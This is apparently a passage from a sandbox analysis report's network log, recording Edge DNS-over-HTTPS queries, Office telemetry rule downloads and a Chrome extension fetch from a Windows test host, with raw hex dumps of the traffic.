2024-11-20 22:12:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5bc89cbe07238a-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 22:12:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b4 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49834	162.159.61.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 22:12:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 22:12:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5bc89cdf4a1821-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 22:12:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49835	172.64.41.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 22:12:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 22:12:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5bc89cca262369-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 22:12:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom Pc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:48 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221248Z-r1d97b9957747b9jhC1TEBgyec00000009mg000000009kzx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49825	142.250.181.65	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:48 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:49 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6JkCk8KVsgzAnyK13tfsZGAX1YsoxlYXcJQme5SNv96mVXDeusl-vzqGzZbB2UfcvZ_88jkIpl3g X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 20 Nov 2024 16:45:00 GMT Expires: Thu, 20 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 19669 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 22:12:49 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-20 22:12:49 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:49 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:49 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:49 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221249Z-178bfbc474bpnd5vhC1NYC4vr400000000p00000000050ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49841	172.64.41.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 22:12:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49842	172.64.41.3	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
